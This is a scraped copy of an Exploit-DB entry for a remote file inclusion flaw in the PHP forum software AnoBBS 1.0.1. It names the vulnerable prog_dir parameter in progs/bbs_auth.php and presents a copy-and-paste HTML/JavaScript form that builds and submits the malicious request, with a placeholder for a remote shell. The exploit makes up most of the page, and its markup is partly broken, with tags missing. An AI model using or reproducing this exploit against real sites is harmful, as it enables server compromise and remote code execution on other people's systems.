AnoBBS 1.0.1 – Remote File Inclusion - 体验盒子

作者： bd0rk

日期： 2016-09-16

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/40388/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

<!--

# Title: AnoBBS 1.0.1 Remote File Inclusion Exploit

# Author: bd0rk || Germany

# Tested on: Ubuntu-Linux

# Twitter: twitter.com/bd0rk

# Greetz: Vadim, x0r_32, rgod, zone-h.org, Michael RaumklanG

#Vendor-URL: http://www.iterapi.com/index.php?cat=78&art=788

#Download-Link: http://www.hotscripts.com/listings/jump/download/90434

#The $prog_dir-parameter in /anobbs_dev_1.0.1/progs/bbs_auth.php line 7 is vulnerable.

>>>Exploitcode for Copy&Paste<<<

-->

<html>

<head>

<title>AnoBBS 1.0.1 Remote File Inclusion Exploit</title>

var dir="/progs/"

var file="/bbs_auth.php?"

var parameter ="prog_dir="

var shell="Insert your shellcode here"

function command() {

if (document.rfi.target1.value==""){

alert("Exploit failed...");

return false;

}

rfi.action= document.rfi.target1.value+dir+file+parameter+shell;

rfi.submit();

}

</script>

</head>

<p><b><font face="Verdana" size="2" color="#008000">AnoBBS 1.0.1 Remote File Inclusion Exploit</font></b></p>

<p></p>

<b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[directory]</font><font color="#00FF00" size="2" face="Arial">

</font><font color="#FF0000" size="2">&nbps;</font></b>

</form>

<p><br>

</p>

</center>

</body>

</html>